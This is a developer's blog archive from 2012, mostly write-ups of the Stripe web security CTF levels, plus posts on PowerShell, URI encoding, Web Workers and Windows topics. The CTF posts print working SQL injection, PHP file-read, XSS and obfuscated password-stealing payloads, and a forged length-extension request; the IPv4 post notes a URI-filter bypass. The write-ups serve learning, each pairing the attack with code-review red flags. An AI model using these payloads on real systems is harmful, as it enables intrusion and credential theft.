Friday, December 7, 2012

Stripe CTF - Level 8

Level 8 of the Stripe CTF is a password server that returns success: true if and only if the password provided matches the password stored directly via a RESTful API and optionally indirectly via a callback URI. The solution is side channel attack like a timing attack but with ports instead of time.

(I found this in my drafts folder and had intended to post a while ago.)

Code

    def nextServerCallback(self, data):
        parsed_data = json.loads(data)
        # Chunk was wrong!
        if not parsed_data['success']:
            # Defend against timing attacks
            remaining_time = self.expectedRemainingTime()
            self.log_info('Going to wait %s seconds before responding' %
                          remaining_time)
            reactor.callLater(remaining_time, self.sendResult, False)
            return

        self.checkNext()

Issue

The password server breaks the target password into four pieces and stores each on a different server. When a password request is sent to the main server it makes requests to the sub-servers for each part of the password request. It does this in series and if any part fails, then it stops midway through. Password requests may also be made with corresponding URI callbacks and after the server decides on the password makes an HTTP request on the provided URI callbacks saying if the password was success: true or false.
A timing attack looks at how long it took for a password to be rejected and longer times could mean a longer prefix of the password was correct allowing for a directed brute force attack. Timing attacks are prevented in this case by code on the password server that attempts to wait the same amount of time, even if the first sub-server responds with false. However, the server uses sequential outgoing port numbers shared between the requests to the sub-servers and the callback URIs. Accordingly, we can examine the port numbers on our callback URIs to direct a brute force attack.
If the password provided is totally incorrect then the password server will contact one sub-server and then your callback URI. So if you see the remote server's port number go up by two when requesting your callback URI, you know the password is totally incorrect. If by three then you know the first fourth of the password is correct and the rest is incorrect. If by four then two fourths of the password is correct. If by five then four sub-servers were contacted so you need to rely on the actual content of the callback URI request of 'success: true' or 'false' since you can't tell from the port change if the password was totally correct or not.
The trick in the real world is false positives. The port numbers are sequential over the system, so if the password server is the only thing making outgoing requests then its port numbers will also be sequential, however other things on the system can interrupt this. This means that the password server could contact three sub-servers and normally you'd see the port number increase by four, but really it could increase by four or more because of other things running on the system. To counteract this I ran in cycles: brute forcing the first fourth of the password and removing any entry that gets a two port increase and keeping all others. Eventually I could remove all but the correct first fourth of the password. And so on for the next parts of the password.
I wrote my app to brute force this in Python. This was my first time writing Python code so it is not pretty.


Windows Remote Desktop via Internet

To setup my home Windows dev box to be accessible from outside I followed two main steps:
Last time I had to do this there was a service named dynamicdns.org which seems to still exist but no longer appears to be free. Instead I used dnsdynamic.org which is free and has a web API as well as links to and instructions for setting up native tools to dynamically update my IP address.

Thursday, September 13, 2012

Stripe CTF - Level 7

Level 7 of the Stripe CTF involved running a length extension attack on the level 7 server's custom crypto code.

Code

@app.route('/logs/<int:id>')
@require_authentication
def logs(id): 
    rows = get_logs(id) 
    return render_template('logs.html', logs=rows) 

...

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

Issue

The level 7 web app is a web API in which clients submit signed RESTful requests and some actions are restricted to particular clients. The goal is to view the response to one of the restricted actions. The first issue is that there is a logs path to display the previous requests for a user and although the logs path requires the client to be authenticatd, it doesn't restrict the logs you view to be for the user for which you are authenticated. So you can manually change the number in the '/logs/[#]' to '/logs/1' to view the logs for the user ID 1 who can make restricted requests. The level 7 web app can be exploited with replay attacks but you won't find in the logs any of the restricted requests we need to run for our goal. And we can't just modify the requests because they are signed.

However they are signed using their own custom signing code which can be exploited by a length extension attack. All Merkle–Damgård hash algorithms (which includes MD5, and SHA) have the property that if you hash data of the form (secret + data) where data is known and the length but not content of secret is known you can construct the hash for a new message (secret + data + padding + newdata) where newdata is whatever you like and padding is determined using newdata, data, and the length of secret. You can find a sha-padding.py script on VNSecurity blog that will tell you the new hash and padding per the above. With that I produced my new restricted request based on another user's previous request. The original request was the following.

count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
The new request with padding and my new content was the following.
count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo%80%02%28&waffle=liege|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c
My new data in the new request is able to overwrite the waffle parameter because their parser fills in a map without checking if the parameter existed previously.

Notes

Code review red flags included custom crypto looking code. However I am not a crypto expert and it was difficult for me to find the solution to this level.

Tuesday, September 11, 2012

Stripe CTF - Level 5

Level 5 of the Stripe CTF revolved around a design issue in an OpenID like protocol.

Code

    def authenticated?(body)
      body =~ /[^\w]AUTHENTICATED[^\w]*$/
    end

...

      if authenticated?(body)
        session[:auth_user] = username
        session[:auth_host] = host
        return "Remote server responded with: #{body}." \
               " Authenticated as #{username}@#{host}!"

Issue

This level is an implementation of a federated identity protocol. You give it an endpoint URI and a username and password, it posts the username and password to the endpoint URI, and if the response is 'AUTHENTICATED' then access is allowed. It is easy to be authenticated on a server you control, but this level requires you to authenticate from the server running the level. This level only talks to stripe CTF servers so the first step is to upload a document to the level 2 server containing the text 'AUTHENTICATED' and we can now authenticate on a level 2 server. Notice that the level 5 server will dump out the content of the endpoint URI and that the regexp it uses to detect the text 'AUTHENTICATED' can match on that dump. Accordingly I uploaded an authenticated file to

https://level02-2.stripe-ctf.com/user-ajvivlehdt/uploads/authenticated
Using that as my endpoint URI means authenticating as level 2. I can then choose the following endpoint URI to authenticate as level 5.
https://level05-1.stripe-ctf.com/user-qtoyekwrod/?pingback=https%3A%2F%2Flevel02-2.stripe-ctf.com%2Fuser-ajvivlehdt%2Fuploads%2Fauthenticated&username=a&password=a
Navigating to that URI results in the level 5 server telling me I'm authenticated as level 2 and lists the text of the level 2 file 'AUTHENTICATED'. Feeding this back into the level 5 server as my endpoint URI means level 5 seeing 'AUTHENTICATED' coming back from a level 5 URI.

Notes

I didn't see any particular code review red flags, really the issue here is that the regular expression testing for 'AUTHENTICATED' is too permisive and the protocol itself doesn't do enough. The protocol requires only a set piece of common literal text to be returned which makes it easy for a server to accidentally fall into authenticating. Having the endpoint URI have to return variable text based on the input would make it much harder for a server to accidentally authenticate.

Monday, September 10, 2012

Stripe CTF - XSS, CSRF (Levels 4 & 6)

Level 4 and level 6 of the Stripe CTF had solutions around XSS.

Level 4

Code

> Registered Users </h3>
<ul>
  <% @registered_users.each do |user| %>
  <% last_active = user[:last_active].strftime('%H:%M:%S UTC') %>
  <% if @trusts_me.include?(user[:username]) %>
  <li>
    <%= user[:username] %>
    (password: <%= user[:password] %>, last active <%= last_active %>)
  </li>

Issue

The level 4 web application lets you transfer karma to another user and in doing so you are also forced to expose your password to that user. The main user page displays a list of users who have transfered karma to you along with their password. The password is not HTML encoded so we can inject HTML into that user's browser. For instance, we could create an account with the following HTML as the password which will result in XSS with that HTML:

<script>jQuery.post("https://level04-2.stripe-ctf.com/user-kxyiuircqs/transfer", {"to": "l", "amount": 1});</script>
This HTML runs script that uses jQuery to post to the transfer URI resulting in a transfer of karma from the attacked user to the attacker user, and also the attacked user's password.

Notes

Code review red flags in this case included lack of encoding when using user controlled content to create HTML content, storing passwords in plain text in the database, and displaying passwords generally. By design the web app shows users passwords which is a very bad idea.

Level 6

Code

<script> 
    var username = "<%= @username %>"; 
    var post_data = <%= @posts.to_json %>; 

    function escapeHTML(val) { 
       return $('<div/>').text(val).html();
    } 

    function addPost(item) {
       var new_element = '<tr><th>' + escapeHTML(item['user']) + 
          '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + 
          escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); 
    } 
    
    for(var i = 0; i < post_data.length; i++) { 
       var item = post_data[i]; 
       addPost(item); 
    }; 
</script>

...

    def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

      conn[table].insert(key_values)
    end

Issue

This web app does a much better job than the level 4 app with HTML injection. They use encoding whenever creating HTML using user controlled data, however they don't use encoding when injecting JSON data into script (see post_data initialization above). This JSON data is the last five most recent messages sent on the app so we get to inject script directly. However, the system also ensures that no strings we write contains single or double quotes so we can't get out of the string in the JSON data directly. As it turns out, HTML lets you jump out of a script block using </script> no matter where you are in script. For instance, in the middle of a value in some JSON data we can jump out of script. But we still want to run script, so we can jump right back in. So the frame so far for the message we're going to post is the following:

</script><script> our new code goes here </script><script>var post_data = [];//
Because we can't use quotes, actually running script takes some creativity. I decided to percent-encode my script so quotes don't show up directly, represent this as a regular expression literal so I don't have to use quotes and to eval this script after decoding. There's likely plenty of other ways to get around lack of quotes.
var code = /percent-encoded script here/.toString();
eval(decodeURIComponent(code.substring(1, code.length - 1))); 
Then the script I actually encode gets the password from the user-info page (which includes password), regexes the password out, and posts it as a message:
jQuery.get("https://level06-2.stripe-ctf.com/user-nhboioztch/user_info").then(function(body) {
var password = /Password:<\/th>[^>]*>([^<]*)/.exec(body)[1];
var encPassword = "";
for (var idx = 0; idx < password.length; ++idx) {
 encPassword += "%";
 encPassword += password.charCodeAt(idx).toString(16);
}

$("#content").val(encPassword);
$("#title").val("password");
document.getElementsByTagName("form")[0].submit();
});
Of course since messages can't include quotes, I have to encode the password before posting it as a message.

Altogether now here's my message:

</script><script>var code = /%6A%51%75%65%72%79%2E%67%65%74%28%22%68%74%74%70%73%3A%2F%2F%6C%65%76%65%6C%30%36%2D%32%2E%73%74%72%69%70%65%2D%63%74%66%2E%63%6F%6D%2F%75%73%65%72%2D%6E%68%62%6F%69%6F%7A%74%63%68%2F%75%73%65%72%5F%69%6E%66%6F%22%29%2E%74%68%65%6E%28%66%75%6E%63%74%69%6F%6E%28%62%6F%64%79%29%20%7B%0A%76%61%72%20%70%61%73%73%77%6F%72%64%20%3D%20%2F%50%61%73%73%77%6F%72%64%3A%3C%5C%2F%74%68%3E%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2A%29%2F%2E%65%78%65%63%28%62%6F%64%79%29%5B%31%5D%3B%0A%76%61%72%20%65%6E%63%50%61%73%73%77%6F%72%64%20%3D%20%22%22%3B%0A%66%6F%72%20%28%76%61%72%20%69%64%78%20%3D%20%30%3B%20%69%64%78%20%3C%20%70%61%73%73%77%6F%72%64%2E%6C%65%6E%67%74%68%3B%20%2B%2B%69%64%78%29%20%7B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%22%25%22%3B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%70%61%73%73%77%6F%72%64%2E%63%68%61%72%43%6F%64%65%41%74%28%69%64%78%29%2E%74%6F%53%74%72%69%6E%67%28%31%36%29%3B%0A%7D%0A%0A%24%28%22%23%63%6F%6E%74%65%6E%74%22%29%2E%76%61%6C%28%65%6E%63%50%61%73%73%77%6F%72%64%29%3B%0A%24%28%22%23%74%69%74%6C%65%22%29%2E%76%61%6C%28%22%70%61%73%73%77%6F%72%64%22%29%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%66%6F%72%6D%22%29%5B%30%5D%2E%73%75%62%6D%69%74%28%29%3B%0A%7D%29%3B/.toString(); eval(decodeURIComponent(code.substring(1, code.length - 1))); </script><script>var post_data= [];//

Notes

Code review red flags included storing the password in plain text, displaying the password in an HTML page, lack of encoding when generating script on the server side, and a deny list of dangerous characters (quotes). Generally folks should use allow lists not deny lists. You'll always forget something from your deny list or the platform will change out from under you adding new dangerous entries you didn't consider in your deny list. In this case an allow list probably also doesn't make as much sense as encoding correctly. The first issue I ran into, was when posting the password I forgot to encode and the password did contain quotes. The second issue I ran into was that my injected script posts a message which results in a page refresh, which results in my injected script running again. This continues five times until my injected script message is pushed off the end. I had to be patient waiting for the target attacked user to login before I would refresh and post my own password.

Thursday, September 6, 2012

Stripe CTF - Input validation (Levels 1 & 2)

Stripe's web security CTF's Level 1 and level 2 of the Stripe CTF had issues with missing input validation solutions described below.

Level 1

Code

    <?php
      $filename = 'secret-combination.txt';
      extract($_GET);
      if (isset($attempt)) {
        $combination = trim(file_get_contents($filename));
        if ($attempt === $combination) {

Issue

The issue here is the usage of the extract php method which extracts name value pairs from the map input parameter and creates corresponding local variables. However this code uses $_GET which contains a map of name value pairs passed in the query of the URI. The expected behavior is to get an attempt variable out, but since no input validation is done I can provide a filename variable and overwrite the value of $filename. Providing an empty string gives an empty string $combination which I can match with an empty string $attempt. So without knowing the combination I can get past the combination check.

Notes

Code review red flag in this case was the direct use of $_GET with no validation. Instead of using extract the developer could try to extract specifically the attempt variable manually without using extract.

Level 2

Code

    $dest_dir = "uploads/";
    $dest = $dest_dir . basename($_FILES["dispic"]["name"]);
    $src = $_FILES["dispic"]["tmp_name"];
    if (move_uploaded_file($src, $dest)) {
      $_SESSION["dispic_url"] = $dest;
      chmod($dest, 0644);
      echo "<p>Successfully uploaded your display picture.</p>";
    }

Issue

This code accepts POST uploads of images but with no validation to ensure it is not an arbitrary file. And even though it uses chmod to ensure the file is not executable, things like PHP don't require a file to be executable in order to run them. Accordingly, one can upload a PHP script, then navigate to that script to run it. My PHP script dumped out the contents of the file we're interested in for this level:

<?php echo file_get_contents("../password.txt"); ?>

Notes

Code review red flags include manual file management, chmod, and use of file and filename inputs without any kind of validation. If this code controlled the filename and ensured that the extension was one of a set of image extensions, this would solve this issue. Due to browser mime sniffing its additionally a good idea to serve a content-type that starts with "image/" for these uploads to ensure browsers treat these as images and not sniff for script or HTML.

Wednesday, September 5, 2012

Stripe CTF - SQL injections (Levels 0 & 3)

Stripe's web security CTF's level 0 and level 3 had SQL injection solutions described below.

Level 0

Code

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {

Issue

There's no input validation on the namespace parameter and it is injected into the SQL query with no encoding applied. This means you can use the '%' character as the namespace which is the wildcard character matching all secrets.

Notes

Code review red flag was using strings to query the database. Additional levels made this harder to exploit by using an API with objects to construct a query rather than strings and by running a query that only returned a single row, only ran a single command, and didn't just dump out the results of the query to the caller.

Level 3

Code

@app.route('/login', methods=['POST'])
def login():
    username = flask.request.form.get('username')
    password = flask.request.form.get('password')

    if not username:
        return "Must provide username\n"

    if not password:
        return "Must provide password\n"

    conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
    cursor = conn.cursor()

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

Issue

There's little input validation on username before it is used to constrcut a SQL query. There's no encoding applied when constructing the SQL query string which is used to, given a username, produce the hashed password and the associated salt. Accordingly one can make username a part of a SQL query command which ensures the original select returns nothing and provide a new SELECT via a UNION that returns some literal values for the hash and salt. For instance the following in blue is the query template and the red is the username injected SQL code:

SELECT id, password_hash, salt FROM users WHERE username = 'doesntexist' UNION SELECT id, ('5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8') AS password_hash, ('word') AS salt FROM users WHERE username = 'bob' LIMIT 1
In the above I've supplied my own salt and hash such that my salt (word) plus my password (pass) hashed produce the hash I provided above. Accordingly, by providing the above long and interesting looking username and password as 'pass' I can login as any user.

Notes

Code review red flag is again using strings to query the database. Although this level was made more difficult by using an API that returns only a single row and by using the execute method which only runs one command. I was forced to (as a SQL noob) learn the syntax of SELECT in order to figure out UNION and how to return my own literal values.

Thursday, August 30, 2012

Stripe Web Security CTF Summary

I was the 546th person to complete Stripe's web security CTF and again had a ton of fun applying my theoretical knowledge of web security issues to the (semi-)real world. As I went through the levels I thought about what red flags jumped out at me (or should have) that I could apply to future code reviews:

LevelIssueCode Review Red Flags
0Simple SQL injectionNo encoding when constructing SQL command strings. Constructing SQL command strings instead of SQL API
1extract($_GET);No input validation.
2Arbitrary PHP executionNo input validation. Allow file uploads. File permissions modification.
3Advanced SQL injectionConstructing SQL command strings instead of SQL API.
4HTML injection, XSS and CSRFNo encoding when constructing HTML. No CSRF counter measures. Passwords stored in plain text. Password displayed on site.
5Pingback server doesn't need to opt-inn/a - By design protocol issue.
6Script injection and XSSNo encoding while constructing script. Deny list (of dangerous characters). Passwords stored in plain text. Password displayed on site.
7Length extension attackCustom crypto code. Constructing SQL command string instead of SQL API.
8Side channel attackPassword handling code. Timing attack mitigation too clever.

More about each level in the future.

Monday, August 27, 2012

Web Security Contest - Stripe CTF

Stripe is running a web security capture the flag - a series of increasingly difficult web security exploit challenges. I've finished it and had a lot of fun. Working on a web browser I knew the theory of these various web based attacks, but this was my first chance to put theory into practice with:

  • No adverse consequences
  • Knowledge that there is a fun security exploit to find
  • Access to the server side source code

Here's a blog post on the CTF behind the scenes setup which has many impressive features including phantom users that can be XSS/CSRF'ed.

I'll have another post on my difficulties and answers for the CTF levels after the contest is over on Wed, but if you're looking for hints, try out the CTF chatroom or the level specific CTF chatroom.

Wednesday, June 13, 2012

HTTP Compression Documentation Reference

There's a lot of name reuse in HTTP compression so I've made the following to help myself keep it straight.
HTTP Content Coding Token gzip deflate compress
An encoding format produced by the file compression program "gzip" (GNU zip) The "zlib" format as described in RFC 1950. The encoding format produced by the common UNIX file compression program "compress".
Data Format GZIP file format ZLIB Compressed Data Format The compress program's file format
Compression Method Deflate compression method LZW
Deflate consists of LZ77 and Huffman coding

Compress doesn't seem to be supported by popular current browsers, possibly due to its past with patents.

Deflate isn't done correctly all the time. Some servers would send the deflate data format instead of the zlib data format and at least some versions of Internet Explorer expect deflate data format instead of zlib data format.

Tuesday, June 12, 2012

Application Protocols in Windows 8

In Windows 8 you can still register a desktop application to handle a particular URI scheme, but now you can also register a Metro Win8 application to handle a particular URI scheme. No more manually modifying the registry - now there's pretty UI in VS to handle this.

Wednesday, June 6, 2012

Changing Windows Live IDs

Use of my old Hotmail account has really snuck up on me as I end up caring more and more about all of the services with which it is associated. The last straw is Windows 8 login, but previous straws include Xbox, Zune, SkyDrive, and my Windows 7 Phone. I like the features and sync'ing associated with the Windows Live ID, but I don't like my old, spam filled, hotmail email address on the Live ID account.

A coworker told me about creating a Live ID from a custom domain, which sounded like just the ticket for me. Following the instructions above I was able to create a new deletethis.net Live ID but the next step of actually using this new Live ID was much more difficult. My first hope was there would be some way to link my new and old Live IDs so as to make them interchangeable. As it turns out there is a way to link Live IDs but all that does is make it easy to switch between accounts on Live Mail, SkyDrive and some other webpages.

Instead one must change over each service or start over depending on the service:

Xbox
In the Xbox 360 system menu you can change the Live ID associated with your gamertag. This worked fine for me and I got an email telling me about the transfer of my Microsoft Points.
Zune
There's no way to do this for the Zune specifically, however changing over your Xbox account also transfers over all your Zune purchased content. I don't have a Zune Pass so I can't confirm that, but all of my previously purchased television shows transferred over successfully.
Windows 7 Phone
To change the main Live ID associated with your phone, reset your phone to factory default and start over. All purchased applications are lost. Had I purchased any applications I would have been pissed, but instead I was just irritated that I had to reset my phone.
Mail
I don't use my Hotmail account for anything and it only sits and collects spam. Accordingly I didn't attempt switching this over.
SkyDrive
I didn't have much in my SkyDrive account. I downloaded all files as a zip and then manually uploaded them to the new account.

Tuesday, May 22, 2012

Thursday, May 17, 2012

Permanently Add Path to System PATH Environment Variable in PowerShell

According to MSDN the proper way to permanently add a path to your system's PATH environment variable is by modifying a registry value. Accordingly this is easily represented in a PowerShell script that first checks if the path provided is already there and otherwise appends it:
param([Parameter(Mandatory = $true)] [string] $Path);
$FullPathOriginal = (gp "HKLM:\System\CurrentControlSet\Control\Session Manager\Environment").Path;
if (!($FullPathOriginal.split(";") | ?{ $_ -like $Path })) {
    sp "HKLM:\System\CurrentControlSet\Control\Session Manager\Environment" -name Path -value ($FullPathOriginal + ";" +
 $Path);
}

Tuesday, May 15, 2012

PowerShell Equivalents for JavaScript Array Functions

Built-in

map
input | %{ expression($_) }
forEach
input | %{ [void]expression($_) }
filter
input | ?{ expression($_) }
indexOf
input.indexOf(value)

Close to built-in

some
if (input | ?{ expression($_) }) { ... }
every
if (-not input | ?{ !expression($_) }) { ... }
lastIndexOf
[array]::lastIndexOf(input, value)

Write it yourself

reduce
function reduce($fn, $a, $init) { $s = $init; $a | %{ $s = &$fn $s $_; }; $s; }

Wednesday, May 9, 2012

Favorite Windows 8 Feature: Intra-Line Tab Completion

Fixed in Windows 8 is intra-line tab completion - you can try it out on the Windows 8 Consumer Preview now. If you open a command prompt, type a command, then move your cursor back into a token in the middle of the command and tab complete, the tab completion works on that whitespace delimited token and doesn't erase all text following the cursor. Like it does in pre Windows 8. And annoys the hell out of me. Yay!

Monday, May 7, 2012

Play Fez

I'm done playing Fez. The style is atmospheric retro nastalgia and on the surface the gameplay is standard 2D platformer with one interesting Flatland style game mechanic but dig deeper to find Myst style puzzles. Despite the following I thoroughly enjoyed the game and would recommend it to anyone intrigued by the previous. Five eighths through the game I ran into one of the game's infamous Fez save game breaking issues, but I enjoyed the game enough that I started over before any patches were released and had no further issues.

While playing the game I created some tools to help keep track of my Fez notes (spoilers) including a Pixelated Image Creator that makes it easy to generate data URIs for large, black and white pixelated images, and (spoilers) a Fez Transliteration Tool to help me translate the in-game writing system.

Friday, March 23, 2012

Why Did This Work?

Do we have a word or phrase to describe the following situation: You code up something complicated and it compiles and works on the first try. You then spend the next ten minutes trying to figure out what's actually broken because it shouldn't be this easy.

Or in meme form:

Wednesday, March 14, 2012

Alternate IPv4 Forms - URI Host Syntax Notes

By the URI RFC there is only one way to represent a particular IPv4 address in the host of a URI. This is the standard dotted decimal notation of four bytes in decimal with no leading zeroes delimited by periods. And no leading zeros are allowed which means there's only one textual representation of a particular IPv4 address.

However as discussed in the URI RFC, there are other forms of IPv4 addresses that although not officially allowed are generally accepted. Many implementations used inet_aton to parse the address from the URI which accepts more than just dotted decimal. Instead of dotted decimal, each dot delimited part can be in decimal, octal (if preceded by a '0') or hex (if preceded by '0x' or '0X'). And that's each section individually - they don't have to match. And there need not be 4 parts: there can be between 1 and 4 (inclusive). In case of less than 4, the last part in the string represents all of the left over bytes, not just one.

For example the following are all equivalent:

192.168.1.1
Standard dotted decimal form
0300.0250.01.01
Octal
0xC0.0XA8.0x1.0X1
Hex
192.168.257
Fewer parts
0300.0XA8.257
All of the above

The bread and butter of URI related security issues is when one part of the system disagrees with another about the interpretation of the URI. So this non-standard, non-normal form syntax has been been a great source of security issues in the past. Its mostly well known now (CreateUri normalizes these non-normal forms to dotted decimal), but occasionally a good tool for bypassing naive URI blocking systems.

Friday, March 9, 2012

Privacy through Obscurity

With Facebook changing its privacy policy and settings so frequently and just generally the huge amount of social sites out there, for many of us it is far too late to ensure our name doesn't show up with unfortunate results in web searches. Information is too easily copyable and archive-able to make removing these results a viable option, so clearly the solution is to create more data.

Create fake profiles on Facebook using your name but with a different photo, different date of birth, and different hometown. Create enough doppelgangers to add noise to the search results for your name. And have them share embarrassing stories on their blogs. The goal is to ensure that the din of your alternates drowns out anything embarrassing showing up for you.

Although it will look suspicious if you're the only name on Google with such chaff. So clearly you must also do this for your friends and family. Really you'll be doing them a favor.

Friday, March 2, 2012

HTML5 Table Flipper Experiment

The goal of this experiment was to combine the flipping tables emoticons with the Threw It On The Ground video using shiny new HTML5-ish features and the end result is the table flipper flipping the Threw It On the Ground video.

The table flipper emoticon is CSS before content that changes on hover. Additionally on hover a CSS transform is applied to flip the video upside down several times and move it to the right and there's a CSS transition to animate the flipping. The only issue I ran into is that (at least on Windows) Flash doesn't like to have CSS transform rotations applied to it. So to get the most out of the flip experiment you must opt-in to HTML5 video on YouTube. And of course you must use a browser that supports the various things I just mentioned, like the latest Chrome (or not yet released IE10).

Wednesday, February 29, 2012

Glitch Helperator

I've been working on the Glitch Helperator. It is a collection of tools and things I've put together for Glitch. It has a few features that I haven't seen elsewhere including:

Favorite Streets
A notebook in which you can save information about interesting streets and later use it to find your way back to them.
Birthday
Find out how old your Glitch is and the date of your next birthday in Glitch time or Earth time.
API Update History
A history of changes to the streets, skills and achievements of Glitch noting when new ones are added and when existing ones are changed.
It also has an interactive skill tree, find nearest feature tool, and achievement display. If you play Glitch, check it out.

Monday, February 27, 2012

Client Side Cross Domain Data YQL Hack

One of the more limiting issues of writing client side script in the browser is the same origin limitations of XMLHttpRequest. The latest version of all browsers support a subset of CORS to allow servers to opt-in particular resources for cross-domain access. Since IE8 there's XDomainRequest and in all other browsers (including IE10) there's XHR L2's cross-origin request features. But the vast majority of resources out on the web do not opt-in using CORS headers and so client side only web apps like a podcast player or a feed reader aren't doable.

One hack-y way around this I've found is to use YQL as a CORS proxy. YQL applies the CORS header to all its responses and among its features it allows a caller to request an arbitrary XML, HTML, or JSON resource. So my network helper script first attempts to access a URI directly using XDomainRequest if that exists and XMLHttpRequest otherwise. If that fails it then tries to use XDR or XHR to access the URI via YQL. I wrap my URIs in the following manner, where type is either "html", "xml", or "json":

        yqlRequest = function(uri, method, type, onComplete, onError) {
            var yqlUri = "http://query.yahooapis.com/v1/public/yql?q=" + 
                encodeURIComponent("SELECT * FROM " + type + ' where url="' + encodeURIComponent(uri) + '"');

            if (type == "html") {
                yqlUri += encodeURIComponent(" and xpath='/*'");
            }
            else if (type == "json") {
                yqlUri += "&callback=&format=json";
            }
            ...

This also means I can get JSON data itself without having to go through JSONP.

Friday, February 24, 2012

Web Worker Initialization Race

Elaborating on a previous brief post on the topic of Web Worker initialization race conditions, there's two important points to avoid a race condition when setting up a Worker:

  1. The parent starts the communication posting to the worker.
  2. The worker sets up its message handler in its first synchronous block of execution.

For example the following has no race becaues the spec guarentees that messages posted to a worker during its first synchronous block of execution will be queued and handled after that block. So the worker gets a chance to setup its onmessage handler. No race:

'parent.js':
   var worker = new Worker();
   worker.postMessage("initialize");

'worker.js':
   onmessage = function(e) {
      // ...
   }

The following has a race because there's no guarentee that the parent's onmessage handler is setup before the worker executes postMessage. Race (violates 1):

'parent.js':
   var worker = new Worker();
   worker.onmessage = function(e) {
      // ...
   };

'worker.js':
   postMessage("initialize");

The following has a race because the worker has no onmessage handler set in its first synchronous execution block and so the parent's postMessage may be sent before the worker sets its onmessage handler. Race (violates 2):

'parent.js':
   var worker = new Worker();
   worker.postMessage("initialize");

'worker.js':
   setTimeout(
      function() {
         onmessage = function(e) {
            // ...
         }
      },
      0);

Monday, February 20, 2012

URI Percent Encoding Ignorance Level 2 - There is no Unencoded URI

As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping).

Getting into the more subtle levels of URI percent-encoding ignorance, folks try to apply their knowledge of percent-encoding to URIs as a whole producing the concepts escaped URIs and unescaped URIs. However there are no such things - URIs themselves aren't percent-encoded or decoded but rather contain characters that are percent-encoded or decoded. Applying percent-encoding or decoding to a URI as a whole produces a new and non-equivalent URI.

Instead of lingering on the incorrect concepts we'll just cover the correct ones: there's raw unencoded data, non-normal form URIs and normal form URIs. For example:

  1. http://example.com/%74%68%65%3F%70%61%74%68?query
  2. http://example.com/the%3Fpath?query
  3. "http", "example.com", "the?path", "query"

In the above (A) is not an 'encoded URI' but rather a non-normal form URI. The characters of 'the' and 'path' are percent-encoded but as unreserved characters specific in the RFC should not be encoded. In the normal form of the URI (B) the characters are decoded. But (B) is not a 'decoded URI' -- it still has an encoded '?' in it because that's a reserved character which by the RFC holds different meaning when appearing decoded versus encoded. Specifically in this case, it appears encoded which means it is data -- a literal '?' that appears as part of the path segment. This is as opposed to the decoded '?' that appears in the URI which is not part of the path but rather the delimiter to the query.

Usually when developers talk about decoding the URI what they really want is the raw data from the URI. The raw decoded data is (C) above. The only thing to note beyond what's covered already is that to obtain the decoded data one must parse the URI before percent decoding all percent-encoded octets.

Of course the exception here is when a URI is the raw data. In this case you must percent-encode the URI to have it appear in another URI. More on percent-encoding while constructing URIs later.

Friday, February 17, 2012

Why I Like Glitch

Sarah and I have been enjoying Glitch for a while now. Reviews are usually positive although occasionally biting (but mostly accurate).

I enjoy Glitch as a game of exploration: exploring the game's lands with hidden and secret rooms, and exploring the games skills and game mechanics. The issue with my enjoyment coming from exploration is that after I've explored all streets and learned all skills I've got nothing left to do. But I've found that even after that I can have fun writing client side JavaScript against Glitch's web APIs making tools (I work on the Glitch Helperator) for use in Glitch. And on a semi-regular basis they add new features reviving my interest in the game itself.

Wednesday, February 15, 2012

URI Percent-Encoding Ignorance Level 1 - Purpose

As a professional URI aficionado I deal with various levels of ignorance on URI percent-encoding (aka URI encoding, or URL escaping).

Worse than the lame blog comments hating on percent-encoding is the shipping code which can do actual damage. In one very large project I won't name, I've fixed code that decodes all percent-encoded octets in a URI in order to get rid of pesky percents before calling ShellExecute. An unnamed developer with similar intent but clearly much craftier did the same thing in a loop until the string's length stopped changing. As it turns out percent-encoding serves a purpose and can't just be removed arbitrarily.

Percent-encoding exists so that one can represent data in a URI that would otherwise not be allowed or would be interpretted as a delimiter instead of data. For example, the space character (U+0020) is not allowed in a URI and so must be percent-encoded in order to appear in a URI:

  1. http://example.com/the%20path/
  2. http://example.com/the path/
In the above the first is a valid URI while the second is not valid since a space appears directly in the URI. Depending on the context and the code through which the wannabe URI is run one may get unexpected failure.

For an additional example, the question mark delimits the path from the query. If one wanted the question mark to appear as part of the path rather than delimit the path from the query, it must be percent-encoded:

  1. http://example.com/foo%3Fbar
  2. http://example.com/foo?bar
In the second, the question mark appears plainly and so delimits the path "/foo" from the query "bar". And in the first, the querstion mark is percent-encoded and so the path is "/foo%3Fbar".

Monday, February 13, 2012

Blackmail DRM - Stolen Thoughts

